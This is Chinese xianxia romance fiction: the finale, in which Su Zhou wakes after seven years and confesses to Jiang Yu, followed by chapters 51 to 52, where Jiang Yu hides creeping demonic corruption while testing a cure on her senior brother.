夕阳落下,春风送晚,姜鱼回到家里,娘正在帮爹抬胳膊,她爹唉哟出声,还说,“高一点、再高一点。” 姜鱼默默从旁边经过。 姜爹一脸尴尬,连忙把手放了下来,自从和大长老一战后,他这胳膊留下了些许旧伤,一抬高就痛,医修建议他在家自己多动,慢慢就好了。 算不上什么大毛病,不过他总是趁着姜鱼不在家的时候练,以免损伤了自己做爹的面子,今日没想到女儿这个时候回来,叫她撞见了,好不尴尬。 “小鱼啊……” “干嘛?” 姜鱼坐下喝茶,姜怀城和白荔交换眼色,问,“听说宿舟这几天要醒了。” 她喝茶的动作一顿,含糊说:“是啊。” “那你怎么想的?” “什么意思?” “等他醒了,你们是不是打算办道侣仪式了?” “咳咳——” 他的话题太跳跃,姜鱼一口茶水呛到,白荔狠狠踩了姜爹一脚,“别听你爹瞎说,他就是老了爱八卦。” 姜怀城:? 他是这样的人吗? 然而夫人开口,他不敢反驳。 白荔道,“你爹就是想问,你们两现在是什么情况?” 姜鱼默默喝了口茶水,“就是……就是那样呗。” 埋下头时,耳根一片绯红。 姜家夫妻对视一眼,这些年宿舟沉睡,姜鱼一开始一天三次的去看他,直到最近这两年,才改成两天去一次了,小儿女间这点心思,还不叫他们这些老家伙看得清清楚楚?问她也是想知道,她的想法有没有变化。 这么看来,女儿是挺长情的。 而宿舟能把剑骨给女儿,证明是个值得托付的,他们夫妻自然没意见,就是老头一下想得有点远了。 “我出去了。” 受不了这气氛,她站起身要走,姜怀城道,“这么晚了,你去哪?” 白荔:“又去看他?” 姜鱼:“不是,去看师姐。” 夜幕降临,灵寂峰上一片安静,春夜暖,萤火虫在草丛间飞来飞去。 姜鱼带着师姐最爱的柿饼去看她,这些年来,李休音的墓有她经常打理,整洁如新,周围长出了一圈小雏菊,开着白色小花,随风轻轻摇曳,像在欢迎她到来。 姜鱼摆上贡品,坐在师姐墓碑旁,跟她说着心事,过一会儿,她说,“师姐,宿舟要醒了。” “他醒了是好事,但我心里有些没底……” “现在大家都觉得我们应该在一起了,其实他还没跟我表白呢。” 夜风寂寂,小草摇曳着,似乎在回答她的问题。 “师姐也觉得这样不好?” “都是他的问题。” “他怎么能一睡这么久?叫我……”叫她怪寂寞的。 当年一战之后,宿舟忽然昏迷,医修看过之后,说是他透支过度,身体虚弱才会晕过去。 后来详细诊治,才发现他剑骨失去大半,她说出详情之后,众长老颇为唏嘘,他此举是为了救姜鱼,但最终也救了宗门。 长老们商量之后,决定将宗门至宝寒尺灵玉拿出来,此物乃天地灵宝,世间难求,天骄之争时也只准备拿出指甲盖大小的一块做奖励,现在却把它全部给了宿舟,此物可助他重新生长剑骨,也幸亏他本身剑骨还剩了一点,才能在此基础上恢复,不然神仙来了也没办法。只是费时日久,这一治就是七年。 期间他一直睡着,姜鱼每次去看他,都没见他醒过。 直到最近,医修告诉她,宿舟的剑骨恢复完好,寒尺玉也吸收得差不多了,估计这几日就要醒了,她忽然发现自己没做好心理准备。 宿舟醒来,会是怎么样呢?他会不会忘了自己?会不会改变想法?当初把她看得比命还重要,如今却觉得没什么了? 姜鱼没想到,自己也会有患得患失的这天。 正郁闷时,忽然感觉头上被拍了一下,她猛然抬头,“师姐?” 一片叶子从头顶滑落。 原来是树叶…… 她默默将这片梧桐叶收好,说不定这就是师姐在跟她打招呼,“师姐,我知道了,你是说,如果改变想法,那也是宿舟的问题,总之都怪他就对了。” 她站起身,挥挥手,“师姐,我走了。” 萤火虫飞舞,小草小花摇摆,似乎在送她离开。 翌日,姜鱼虽然心里怀着忐忑,还是早早到了五峰,冰窖之内,宿舟静静躺在寒玉床上。 他这一趟七年,时间仿佛在他身上凝固了,他还是那副少年模样,眉峰如剑,睫毛浓密,鼻梁高挺,唇色淡淡,像尊漂亮的玉像。 姜鱼等了一会儿,不见他有什么动静,忍不住伸手描他的眉,“宿行云,你要是敢忘了我,我就……” 眉毛的触感茸茸的,她走神想着,就怎么样呢?没注意身旁人手指轻轻动了动。 “我就把你打一顿,打到想起我为止。” “还有——” “还有什么?” “喂你吃蚯蚓——” 话说到这,她忽然一顿,刚才谁在跟她说话?!低头一看,正看到浓睫颤动,那双墨眸睁开,宿舟含笑看着她,“我不爱吃蚯蚓。” “宿行云!” 她喊了一声,先是惊喜涌上心头,又忍不住打量他,“你还记得我吗?” “小鱼。” 熟悉的声音喊出这称呼,令她心头轻轻一颤。 “那你还知道,我们之间发生过什么吗?” “记得。” “真的……” 话未说完,忽然感觉指尖被触碰,低头一看,宿舟把那枚蓝色的小鱼戒指,缓缓套在了她手上。 她不由一愣。 “这戒指怎么在?” “昏睡之前,我一直带着它,就像你还在我身边。” 温柔的话语,令姜鱼鼻头一酸,差点掉下眼泪来,然后,她就被人轻轻拥在怀里。 从冰床上醒来,宿舟身上是冷的,说话时热气喷在耳边,却很温暖,“小鱼,我从来没忘记你。” “那以后呢?”她埋在少年肩头,声音模糊。 “以后也不会。” “宿行云,你是大坏蛋。” “嗯。” “你为什么不能早点醒过来?” “我在梦里见你。” “梦里的我,有我好吗?” “不及你万一,所以我醒了。” “哼。” “那勉强原谅你了。” 轻柔的吻落在颊边,吻去酸涩的泪,他低声说,“好,谢谢小鱼。” …… “说什么谢谢,不会说点别的嘛!”回到家里,姜鱼转动着手中的小鱼戒指,忍不住吐槽。 他前面说的有模有样的,关键时刻又不会说话了,她想听的是谢谢? 可当时留给他们说话的时间也不多,宿舟刚醒来,身体还虚弱。医修、五峰主、五峰长老一堆人等着看他,她也不好一直霸占着人,就回来了。 回来越想越是郁闷,他就不能说点别的? 叮咚—— 【宿舟醒来,你与他的关系进展,你选择——A向他告白/B等他告白】 嗯? 【系统??】 【你还活着?还以为你死了。】 【……】 【说句话呗。】 【说什么?】 系统竟然吱声了,但听起来模糊,有点信号不好的样子,【说什么都行啊,你是哪来的?为什么忽然又发任务了?之前你去哪了?】 【……】 【表白任务完成后,你就知道了。】 表白。 表个锤子白。 姜鱼盯着那两个选项,估计可能躺进棺材那天,她也等不到宿舟跟她表白了,之前有那么多次机会,他都没正式表白过一次呢。 她悻悻然选了B,心里的拧劲上来了,她就要看看,她要等到什么时候。 接下系统任务后,无聊的等到了晚上,眼看夜色渐沉,一整天也没人来家里拜访,她打开小本本,默默划下一道竖线。 “宿行云,我看你让我等到什么时候。” 笃笃。 窗户被人从外面敲响。 她愣了一下,起身打开纱窗,春风拂面,虫鸣入耳,却没看见人。 然而接着隔壁书房的灯烛,她看到了映在窗上的影子,那人抱着剑,削瘦身影倚靠墙壁,侧脸映在了窗上。 “你来干嘛?”她没好气的说。 “来看看你。” “白天不是看过了?” 她正要将窗户关上,宿舟绕到窗子,和她面对面,“小鱼,我喜欢你。” 姜鱼关窗的动作一顿,他、他刚才说什么? “其实早就想说了。”宿舟认真看着她,“医修让我多休息,我还是想见你,就过来了,一见你,就忍不住说出口——” 话未说完,姜鱼隔着窗子,在他颊边轻吻了一下。 他一下卡壳,脸渐渐红透了。 意识到自己做了什么,姜鱼也烧红了脸,往窗后一躲,不就是表个白吗,她怎么激动成这样,真没出息! 然而她没想到,才刚跟系统打赌,说宿舟不会表白,他竟然这么快就跑来表白了,怎么这时候又突然开窍了? “小、小鱼……” “你等等。” 姜鱼从窗户爬出来,拉着他跑到不远处的榕树旁,和他一起爬上了树,“在这聊。” 宿舟一愣:“为什么?” 姜鱼:“万一爹娘进我房间,看见你了多尴尬。” 宿舟:…… 他的心现在还在怦怦跳,完全没想到这点。 两人在树上挨着坐着,吹着春日的晚风,不一会儿,肩靠上肩,手也牵到了一起。亲昵的聊了一会儿,姜鱼忽然开始畅想未来。 “宿行云,你以后打算做什么?” “我想,报答师尊的恩情,帮她找到修补剑的材料。” “之后呢?” “练剑。” “练好剑之后呢?” “仗剑天下,惩妖除魔,保护百姓。” “哦。” “你呢?”宿舟问。 “我想……成仙。” “为何?” “成仙有意思呀,我想去天上看看。”她说,“不过这样,我们不是没办法在一起了?” “不会。” “怎么说?” “我们先仗剑天下,然后我和你一起成仙。” “你想得美。” …… 春蝉声声,将两人的谈话声渐渐遮掩。 姜怀城站在书房窗边,渐渐露出笑容。 白荔端着茶进来,忍不住问,“怀城,你笑什么?” “没,没什么。” “有两只蝉一直在窗外吵,我听他们说什么。” “蝉?” 她走过去,看到远处树上相依相傍的身影,不由一惊。 “嘘——” “夫人,别惊扰了这春夜。” (正文完)《 》 50-57 第51章 解救出被抓走的百姓, 诛杀了两只魔物,清风城的事情也告一段路,在薛清浪的邀请下, 一行人去了海渊宗。 过两天就是除夕,薛清浪请他们过完除夕再走。 姜鱼才想起来,他们冬至后不久出门,这都要快到年末了, 时间过得真快。这一次离宗试炼, 于师兄入魔, 林风身死, 只剩了他们三人回去。 问天剑的谜团并没有找到答案, 而回宗之后,又不知要面对什么…… 她垂眸看着自己的手,这双手手指细长, 白玉无瑕, 看不出有什么问题,回想之前和问天剑灵交战时—— “小鱼。” 她回过头, 薛清浪摇扇而来,莲冠轻裘,风度翩翩,“护法长老想见见你, 跟我来吧。” “哦。” 她跟着薛清浪往长老洞府走, 路上不少海渊宗弟子都看她, 议论纷纷。 “那就是剑宗的天骄候选吧?” “听说她是少主的好友, 这次能解决清风城的魔巢,也多亏了她出力。” “看起来真年轻。” “要是我有这样一个师妹,估计尾巴都要翘到天上去了。” “美得你。” 两人进了长老洞府, 护法长老白髯长须,仙风道骨,颇有高人风范,姜鱼乖乖跟他打招呼,他捋着胡子点头,打量姜鱼片刻,眼中都是喜爱欣赏之意。 “说起来,我和你爹也算是同龄人,该叫你一声侄女。”长老道,“这次你和清浪一起,解决了清风郡的难题,表现不错。” 他又说了一通夸奖之语,才委婉打听起问天剑的事。 姜鱼看得出,他虽然言辞轻描淡写,实则谈话重点就是想说这个。 姜鱼仍是之前对薛清浪的那番说辞,长老想了想,点头道:“问天剑尊封印魔渊,对修真界居功至伟,没想到他的本命剑会留在人间,还魔化了……这次你们能带残片回宗,也算是大功一件,剑尊的事关乎天下,关于后续有什么进展,记得及时通知我等。” 姜鱼点点头,乖巧答应。 长老这才放松了神色,看看薛清浪,又看她,笑道,“一转眼你都长这么大了,少年人心性开明,这几年,可有想找道侣的念头?” 姜鱼微怔,摇了摇头,“暂时没想过。” 长老似有些惋惜,看了一眼薛清浪,也没多说什么,和颜悦色道,“那便在宗内多留几天,尽管放松。” “嗯。” 送走了姜鱼,长老看向神色略显失落的海渊少主,安慰道,“感情的事强求不来,少主还是看开些吧,修者当以修行为要。” 薛清浪道:“长老说的我都明白,这些年我和小鱼书信往来,她对我而言是难得的知心好友,其实我……” 他神色黯然,话未说完,告退离开。 姜鱼离开洞府,回想起刚才长老的话,问及道侣时,她第一时间想起的人竟然是宿舟,真是——难道自己被他影响了? 她赶紧摇了摇,把这人从自己脑子里赶出去,再一抬头,发现宿舟就站在自己面前,心想这人真是阴魂不散,“你在这干嘛?” “谁惹你了?”宿舟问。 “你。” “……” “我什么时候惹你了?” “你没惹行吧?”她把莫名的情绪赶走,“听说他们早上钓上了大鱼,晚上要吃鱼蟹宴,快走快走,吃饭去,晚上还要放烟火呢!” 宿舟:? 她的情绪倒是来得快去得快,这会儿开开心心赴宴去了,宿舟摸不着头脑,随后跟上,身后传来脚步声,是薛清浪跟上来了,两人对视一眼,有些话只在不言中,谁也没说什么,一起赴宴去了。 海渊宗拿出招待贵客的架势,晚上海参蟹肉珍品不断,大吃一顿后,天色暗了下来,弟子们聚集在宗内广场上,等着放烟火。 此地离海很近,广场下方就是大片的沙滩,一轮明月悬于海上,朗照万里,浪涛拍岸,海风吹拂。 噼啪! 一朵灿烂烟花在空中炸开,引得下方弟子们一阵欢呼。 姜鱼翻出了自己的雪白兔毛披风,站在栏杆边眺望明月烟火,烟花落下的星火映着她的眉眼,如星光灿灿,熠熠生辉。 她在看烟火,宿舟在看她。 奇美瑰丽的烟火在空中接连炸开,也不如她眸光的星光万一,四周欢呼声起此彼伏,他好像沉浸在了自己的世界里,沉浸在姜鱼灿亮的眼眸里。 若此刻能永恒…… “宿行云,快看!” 姜鱼摇了摇他的手臂,“是龙!” 宿舟恍然回神,抬头一看,正好看到龙形烟花在空中炸开,隐入仙门之中。 “你怎么一点都不激动?”姜鱼回头问。 “……” “没看到我想看的。” “你想看什么啊?” 随着她的话,又是一声烟花炸响,一条鲜艳锦鲤跃上半空,正好跃过了上个烟花残余的仙门之影。 身旁弟子喊了起来:“鱼跃龙门!” “好兆头啊!” “年年有余!” 宿舟挑了挑唇角,“我喜欢这个。” 姜鱼神色一滞,一秒听出他在暗示什么,心乱几分,眼神不自觉移开了,莫名紧张感涌上心头。 不知什么时候起,她面对宿舟越来越不自在了。 为什么会心跳加速,不敢看他呢? 这时,芸晚的声音在旁边响起,“宿师弟,方便说几句吗?” 姜鱼探头,见芸晚似有要事,立刻推他,“快去快去。” 宿舟:…… 和芸晚走到偏僻处,人群欢呼声渐渐远了,他问:“师姐有什么事?” 芸晚道:“我想麻烦你,给于师兄送些吃的。” 宿舟愣了一下,没想到她竟然会提这个。 于照自入魔以后,神智时而清醒时而昏沉,如今被囚禁在海渊宗的地牢里,他们走时还要把他带走。要如何处置于照,最终也要天剑宗的宗规说了算。芸晚念着今夜除夕,想给他送点吃食。 “为何找我?” “师弟身负剑骨,不受魔气侵蚀。若找别人去,恐怕受魔气影响。”芸晚说,“我不是想帮于照些什么,只是出于同门之情,不想他过于凄惨。” “我明白了。” 宿舟点点头,接过了她递过来的食盒,转身要走。 芸晚又道:“宿师弟——” 宿舟转头。 “你和小鱼,是不是……” “没有。” 这回他真走了,走下广场阶梯,姜鱼正往这边过来,她不知捡到了什么,兴奋的给宿舟看,眼睛里亮光,嘴上说个不停。 宿舟低头看她,眼神流露出温柔,恐怕他自己都没察觉。 芸晚在远处看着,摇了摇头,言语或许会骗人,但动作神态早就把他出卖了。 热闹过后,深夜的海渊宗渐渐归于安静。 宿舟拎着食盒,到了牢门前,海渊宗并没有为难于照,安排的牢房也还算干净,这里地势低,能听到阵阵海浪声。 于照蜷坐在牢房里,闻声抬头,鬓间头发散乱,冒出了胡茬,看起来颓废不少,见是宿舟来了,眼底毫无波澜。 宿舟将食盒放下,“今日除夕,芸师姐托我送来的。” 听到芸晚的名字,他暗淡的眼睛亮了一下,但很快又消沉下去,哑声开口,“宿师弟,你杀了我吧。” 宿舟皱眉。 于照自嘲一笑,“你看我现在这样,回了宗门也是被处死,早死晚死,不如现在就死了。” 宿舟问:“你为何会入魔?” 为何入魔? 其实他自己也不清楚。 他低头看自己的手,漆黑的纹路在皮肤下扭动,这些魔纹虽然还没生长出来,但仿佛拥有了自己的意志,他能保持清醒的时间越来越少,现在虽然还没完全入魔,但也差不远了。 “执念入心,所以入魔吧。” 宿舟没再说什么,转身要走。 “师弟!”于照喊他,“杀了我,我说真的。” 宿舟淡声道,“等你真的入魔了,再死不迟。” 于照:…… 地牢内,只留下他的叹息声。 等送完饭回来,广场这边也要散场了,姜鱼身边围着几个海渊宗弟子,情绪渐渐激烈,不知怎的,竟然吵起来了。 他快步走过去,听了几句,似乎是这几人来搭讪,说了几句,姜鱼觉得他们言辞冒犯,要求他们道歉,这几个弟子觉得自己也没说什么,是对方架子太大了,不肯道歉,你来我往就吵起来了。 姜鱼心中正烦闷,越看这几人越不顺眼,有个声音在心里叫嚣,要把他们狠狠教训一顿,但理智告诉她不能这么做。 快忍到极限时,宿舟突然出现,在他身边,她那股不知从何而来的烦躁竟然减轻不少。 宿舟问:“怎么了?” 她摇了摇头,“算了,走了。” 两人离开人群,弟子们也散了。回去路上,宿舟一路沉默,姜鱼突然问,“你是不是也觉得我有问题?” 宿舟:? “他们说我脾气不好,架子大。” “没。” “真的?”姜鱼狐疑地盯着他,“我记得你以前也这么说过。” “那是以前。” “现在呢?” “现在……我觉得你哪里都好。” 怦怦。 听到这话,姜鱼的心猝然跳动了几下,两颊微微发热,不用说她也感觉自己脸红了,别人夸她的话不知听了多少遍,可听到宿舟夸她,感觉就是不一样。 她不会……真的喜欢上宿舟了吧?! 这念头一冒出来,心跳更快了,如擂鼓一般,眼看快到住处了,她不由加快脚步,“到、到了,我要休息了。” 宿舟点点头,“明天见。” 姜鱼连忙进屋,关上房门,心脏还在怦怦直跳,也不知在紧张些什么,她等了一会儿,估摸着对方应该走了,才从窗户边猫猫探头,往外看了一眼。 这一眼,正对上宿舟往窗口看的视线。 嘭—— 小鹿撞晕在心墙,她嗖地往下一躲。 再过了一会儿,再探头时,外面空空如也,他已经走了。 姜鱼这才松了口气,接下来依然魂不守舍,等躺在床上,脑子里还在回想宿舟说的那些话,什么“以身相许”“现在你哪里都好”,不禁在被窝里翻来覆去,以前怎么没发现他这么能说? 这样下去,还睡不睡了? 她决定把这人从脑子里赶走,被子猛地往头上一盖。 睡觉! 在海渊宗逗留了三日,几人启程告别,薛清浪把人送到山门外,“小鱼,日后有需要之处,尽管给我写信。” 姜鱼点点头,“有机会来剑宗玩呀。” 薛清浪浅浅一笑,看着她弯弯眉眼,甜美笑容,这个让他魂牵梦萦的姑娘,下次再见面不知是何时了,而且—— 他看向旁边的宿舟,姜鱼连站位,都下意识和对方靠得更近。 纵然心中一阵憋闷酸涩,表面还保持着风度,“好,有机会我一定去。” 姜鱼冲他摆摆手:“再会。” 薛清浪玉扇轻摇,点头:“再会,小鱼。” 马车带着三人渐渐走远了,他依然在山门处站着,海风鼓动袍袖,淡淡寂寥洒落。 弟子不禁问:“少主,您不留她吗?” 薛清浪摇了摇头:“多留一天两天,也无意义,她总是要走的。” “那兴许……兴许多留两天,姜姑娘改变心意,就愿意、愿意——” 薛清浪知道他想说什么,“有缘之人,天意拆不散,无缘之人,强求亦无用,还易生心魔,我身为少主,该以宗门为重。” 弟子深深拜服,“少主说的是。” …… 离开海渊宗地界,灵石驱动的马车往天剑宗赶去,一路山水迢迢,大约还要六、七天才能回去。 赶路至晚间,马车停在一处林间休息。 姜鱼绕到马车后方,看望于照,于照被囚禁在马车后方临时辟出来的空间,狭小逼仄,连站都站不起来,条件就远不如之前了。 不过自从知道自己入魔后,于师兄已是完全摆烂的态度,对这些根本就不在意了。 听见脚步声,他睁眼看了一眼,微微诧异,“小鱼?” 自从他入魔,只有姜鱼没来看过他,他还以为小鱼已对他这个师兄彻底失望,不想见到他了。 “师兄,你想不想恢复?” “?” “小鱼,你在说什么?”他已是入魔之人,怎么恢复? “当初在青云阁时,师姐说过,只有长出魔纹、魔瞳,才算是彻底入魔,你现在还没有,说不定还有挽救的机会。” 于照心知一直以来她就是这样,是个不死心的性格,无论什么都想争取一下,从不肯轻易放弃,但这次,是她天真了。 “小鱼,入魔不是闹着玩的,往前几千年,从没听说过有谁入魔了还能恢复的。” “这么说,师兄已经认命了?” “是。” “那就让我试试吧。”姜鱼当着他的面,掏出一堆瓶瓶罐罐,“师兄就当我的试验品,万一我成功了呢?” 于照看着她,仿佛看到了那个小时候追着长老的灵宠,从早上追到晚上的小姑娘,释然一笑,“随你。” 他并不知道,李休音之死在姜鱼心中留下的阴影,无论如何,她都不可能看着于照再走上这条路了。这些日子,她都在琢磨,怎么能阻断魔化的路径,她想了几个办法,决定先在于照身上试一试。 低头细看,师兄的手上,经脉中有黑色的纹路游动,那是即将生长出的魔纹,看久了之后,会产生一种头晕目眩的感觉。 她看了一会儿,心口处涌上强烈的滞涩感,仿佛自己也跟魔纹一起共同呼吸,要变成它的一部分,戾气再次涌上来。 于照觉得有些不对劲,“小鱼?” 这时,林中风声呼啸,嗖嗖毒镖破空,魔气随之蔓延,芸晚喊了一声:“魔物偷袭!” 宿舟的剑气已然照亮寒夜,剑光所指处,两只魔物应声而倒。 姜鱼也顾不上于照了,纵身入林,和魔物拼杀起来。这次离宗,能明显感觉到各地游荡的魔物都变多了。这林间竟然藏了十几只魔物埋伏他们,姜鱼还头一次见到了中等魔物,他们虽然没有高等魔物厉害,但有了思考能力,行事阴狠,懂得利用工具偷袭。姜鱼和一只魔物在林中绕了几圈,才终于将其逮住。 魔物伏跪在地,瑟瑟发抖求饶,姜鱼心知,该审问他几句,比如他们是否专程在此拦截,和问天剑有没有关系,但此时另一个念头占了上风——杀、杀了他,狠狠出一口气,只有杀戮,才能带来快乐。 她眼神狠戾,一剑斩下。 魔物头颅应声落地,咕噜噜滚了一圈,停在她脚边。 姜鱼冷眼看着,她看到魔气从魔躯上缓缓消散,其中一缕像是受了什么吸引一般,飘向她指尖。 她抬起手,看到雪白指尖一道黑纹隐现,很快又消失不见。 心猛地沉下去的瞬间,身后脚步声响起。 她回过身,见玄衣少年负剑穿过林间,带着一身清雪冷松气息,是宿舟找来了。 她立即收敛表情,问,“怎么了?” 宿舟沉默片刻,道:“附近的魔物都清干净了。” 姜鱼点点头,心中有些忐忑,不知他是否发现了自己的异样,只能强作镇定,“走吧,回去了。” 经过宿舟身边时,他忽然伸出手。 姜鱼一怔,察觉到他的意图,手轻轻往后一躲,避开了他,自己回去了。 第52章 回剑宗路上, 马车悠悠而行。 路上他们又处理了几波魔物,数量不少,但都不成气候, 造不成什么威胁,只是芸晚敏锐发现,姜鱼和宿舟之间,好像出了什么问题。 自从这次试炼以来, 他们两的关系一天好过一天, 姜鱼对宿舟, 比对自己都亲密, 在薛清浪和宿舟之间, 她更是没有犹豫就选择了宿舟。芸晚都以为他们两好事将成了,可这两天,忽然又掉到了冰点。 以她的观察来看, 是姜鱼在躲着宿舟, 但不知是什么原因,她也不好打听。 “你一直待在我这干什么?” 马车后方, 于照终于忍不住开口了。 宿舟抱着剑,倚靠着身后一棵松树,阖眼闭目,站了许久, 一心摆烂的于照都有些受不了了, 这人在这严重影响他平静的心情。 于照说话, 他仿佛没听见似的, 半点反应没有。 “跟小鱼吵架了?” 宿舟睁眼。 于照笑了,“我就知道,活该!” 宿舟:…… 见他无言以对, 于照刚想再说两句,姜鱼拎着篮子走过来,一见宿舟,微微一怔,转身就走。 宿舟想叫出她,但她走得很快,根本没给机会。 他眼眸微垂,似无声叹息。 “哦。”于照道,“我知道了,你在这等她?” 宿舟撩起眼皮,看了他一眼。 于照:“我知道怎么哄她。” 宿舟挑了挑眉。 “你先保证,之后再也不来烦我。” “成交。” 于照说了几句,宿舟便离开了。 过了半个时辰,姜鱼又来了,她走到马车附近,左右看看,于照懒洋洋道,“别找了,他走了。” 姜鱼:…… “师兄,你跟他说了什么?” “没说什么。” “那他怎么走了?” 于照摇了摇头,表示不知道,反正他一副万念俱灰的模样,估计对别的事也不感兴趣,姜鱼就信了。 她拿出一些瓶瓶罐罐,一堆丹药给于照吃,“师兄,这几天你感觉怎么样?” “怎样?” “有没有什么变化?” 于照根本不知道他吃的是什么,他也不相信姜鱼真能把他治好,但对上她晶亮的、含着期盼的眼睛,他还是不禁微微触动。 他不在意,姜鱼却万分在意,甚至比他自己更盼着他能好起来…… 他想了想,但确实又想不到有什么改变,这些日子他依然浑浑噩噩,要说的话,以往他清醒过来,车壁上全是他留下的痕迹,这两天要少了一些。 他终于有兴趣问,“师妹,你给我吃的是什么?” 姜鱼道:“是阻断丹田和经脉之间灵气流通的丹药。” 于照一愣。 这对阻止他入魔有什么用? 随后来的芸晚听到这句,不禁惊讶,“师妹是想,降低他入魔后的破坏力?” 姜鱼摇了摇头。 她从储物戒中取出一个小盒子,打开一看,里面是一颗漆黑的魔种,这更令两人吃惊,师妹身上竟然还有魔种? 之前小溪村的魔种早已上交,这次杀的双生魔物体质太弱,死的时候魔种就枯萎了,她为何还会有? 而且魔种这种东西,她也敢随身带着?! “我研究过魔种,确实就像一颗种子,它在修士丹田内扎根,汲取能量,生根发芽,在这个过程中,把人改造成魔。我想……如果切断营养供应,将种子自带的能量耗尽,种子可能自己就会枯死。” “这……可能吗?” “起码我手里这颗魔种,比起之前,能量波动已开始变弱了。” 这颗魔种,是她之前从兰姨那里得到的,到现在过去小半年,魔种本身慑人的黑色已褪了不少,正渐渐化为灰色。 “如果真有这么简单,之前怎么没人试过?”芸晚很不解。 “因为在魔族被封印之前,修士们经历过仙魔大战的惨烈,幸存下来的人谈魔色变,但凡有人魔化,就想着杀死。现在不一样了,魔渊已被封印,经过几千年的发展,修真界势力已前所未有的壮大,对入魔者的处置,应该有所改变才对。” 听完这话,于照和芸晚都不禁陷入思考。 剑宗弟子奉宗规为圭臬,宗规说什么,他们就信什么,宗规第一条,就是入魔者杀无赦,可师妹却说,修真界对入魔者的处置该改变了,这话说出去,估计会被长老们认为是大逆不道。 她说的话这番话,观点太新奇,以前从没听人这么说过,就像在两人面前突然开了一扇窗,让他们看到了不一样的可能性。如果,入魔者不是发现就被处死,如果长老医修们早些将精力资源投入到阻止魔化的研究中,那今天,于照是不是就有救了? “师妹,你怎么想到这些的?” “因为……” 因为李师姐。 姜鱼始终觉得,师姐的死太可惜了,如果宗规不这么严苛,如果众人对入魔者的看法有所改变,师姐当时恐怕不会那么绝望。 “所以,于师兄,现在你非常关键。”姜鱼正色道,“如果我这个办法有用,那以后入魔的人就都有救了,等于是师兄你救了他们,天道见证,功德无量!” 于照一震。 他……竟然这么重要吗? 姜鱼的话让于照的内心发生了不小的变化,师妹说得对,如果他有救,那一切都不一样了,他不该放弃希望,不该摆烂啊。 见于照脸色几变,似乎受到触动,姜鱼赶紧问,“所以,师兄,你感觉到底有用没有啊?” 连芸晚也期盼的看着他,等着他的答复。 这下叫于照不得不郑重起来了,可他仔细想了想,确实收效甚微。 摇了摇头:“好像区别不大。” “别好像啊。”姜鱼急了。 “姜师妹,先别急,等两日再看看。”芸晚上前,想拍拍她的肩膀安慰,姜鱼却往后一步,躲开了她。 芸晚没太在意,她的注意力在于照身上,“于师兄,你好好感受一下,这里就你一个入魔者,你的反馈很重要。” 她说这话的时候,姜鱼眼神悄然闪了闪。 于照:…… 他也是第一次入魔,没有对比参照,他心里也没底啊。 给于照送完药,姜鱼独自进了林子,倒出些丹药自己吃了,若于照在这里就会发现,她吃的药和自己是一样的。 吃完了药,身体一阵虚弱。 丹田像被一层膜裹上了,灵气不流通,行动不如以往轻盈,她就在林子里慢慢的走,她知道自己应该是在问天剑灵对战时受到了魔气影响,此时不禁想——师姐当初发现自己入魔的时候,是怎样的心情呢? 是否像她现在这样,也会觉得惶恐、不安……但她是个不服输的人,不把办法想尽,她是不会放弃的。 她姜鱼绝不愿意输给魔念。 在林中逛了一圈,天色渐渐暗了,她想起自从早上之后,今天一整天没见过宿舟,他又去哪了? 莫非是被她冷落了,他也生气了,才一直不出现? 宿舟大概不知道,现在是自己在怕他吧……怕他天生剑骨太过敏锐,发现自己入魔的事,所以一直躲着他。 林中暮色渐重,她正准备回去,忽然听到了一阵声响,仔细听,好像是磨刀声? 她心念一沉,放轻脚步,悄然往前走了几步,隔着山间降下的夜雾,看到了熟悉的背影——是宿舟。 他背对着自己坐着,面前一块洗得干净发亮的磨刀石,脚边摆着一堆小圆石头,正在……磨石头?! 她一时不知道是自己入魔产生了幻觉,还是宿舟也出问题了,惊讶之间,踩中枯枝,发出嘎吱一声响。 宿舟倏然回头。 她往后一缩,还是没躲过,被他看见了。 她本可以直接走,还是克制不住好奇,“你在干嘛?” 宿舟见她藏在树后只露半张脸,像只小鹿,随时都会被跳走,他不想惊走了心上鹿,在她反应过来之前,快步走过去,将一颗石头放到她手里。 “这是什么?” 姜鱼打量着手中的小石头,这东西被他磨过了,磨成了微圆的扇形,薄薄的,雪白一片,上面有雕刻出的细小的水纹。 这算什么? 石头雕成的贝壳? 再一看他那边,磨了一堆,都是这种贝壳小石头,形状各异,花纹也不一样,这都是手工磨出来的,不知耗费了多少精力。 “你在这一天,就是磨这些石头?” “嗯。” “用来干嘛?” “送你的。” 于照告诉他,姜鱼从小就喜欢贝壳、海螺一类的东西,要逗她开心,送这些准没错。但他们此时已往北走入林间山道,离海边有段距离,现在这种情况,他也不能贸然离开,就找了些石头打磨,想逗她开心。 面对他的心意,心中像是一阵水流冲刷而过,细细密密的暖意和涩意交织,让她说不出话。像宿舟这样对自己好的人,以后可能都碰不到了。 一想到这,竟有些想掉眼泪。 宿舟捧着石头给她,“喜欢吗?” 她眨了眨眼睛,“喜欢。” “不生气了?” “我本来就没生气。” “那怎么躲着我?” “……心情不好。” “现在没事了?” “嗯。” 她才刚有入魔的征兆,也许没那么快会被发现,而且他天生剑骨,本身对魔气有净化压制作用,多跟他接触,说不定也能压制魔念。 这样一想,姜鱼便说服了自己。 将那堆精心雕刻的石头贝壳收下,她忽然想到,在小溪村她送了宿舟一颗石头,现在他还了自己一堆,也挺有意思的,不禁笑了。 见她笑了,宿舟的心才跟着放松下来。 回到马车,芸晚见两人一前一后而来,一看就是和好了,不仅了然一笑,“今晚我守夜,你们在马车休息吧。” 晚上两人留守马车,姜鱼把那些“贝壳”拿出来一个个细看,越看越觉得精巧可爱,很有意思。 “你有这门手艺,就算不做剑修,也不会饿死。” “那我该高兴我学了剑。” “嗯?” “这些东西,我不想给别人。” 姜鱼脸微红,默默将石头收起来,车上的壁灯轻轻摇晃,灯光勾勒他线条流畅的侧脸,五官如工笔浓墨描绘,清俊朗逸。 她欣赏宿舟的脸,“宿行云,我有没有夸过你好看?” “算夸过吧。” “算?” “你说我除了脸一无是处。” “……” 这也叫夸? 他说是就是吧。 姜鱼看了一会儿,眼神渐渐迷离。游丝般的魔气从指尖窜往丹田,魔念是负面情绪的集合,是杀念,也是欲念。此时此刻,她心中欲念被激起。 她挪到宿舟身边坐着,歪头看他,眼波柔柔,看得他有些不好意思,眼神闪躲时,被她按住了手。 他一怔,耳根缓缓红了。 两人的手相叠着,渐渐扣在了一起,随着距离靠近,姜鱼的乌发垂下,落在他的手背上,带来一阵麻痒,发香幽幽,缭乱心神。 封闭马车内,气氛逐渐旖旎。 “你记不记得,你还欠我一样东西。”姜鱼的声音在耳边响起。 “什么?” “在小溪村的时候,我不小心亲了你一下,所以,你还欠我一个吻。” “……” 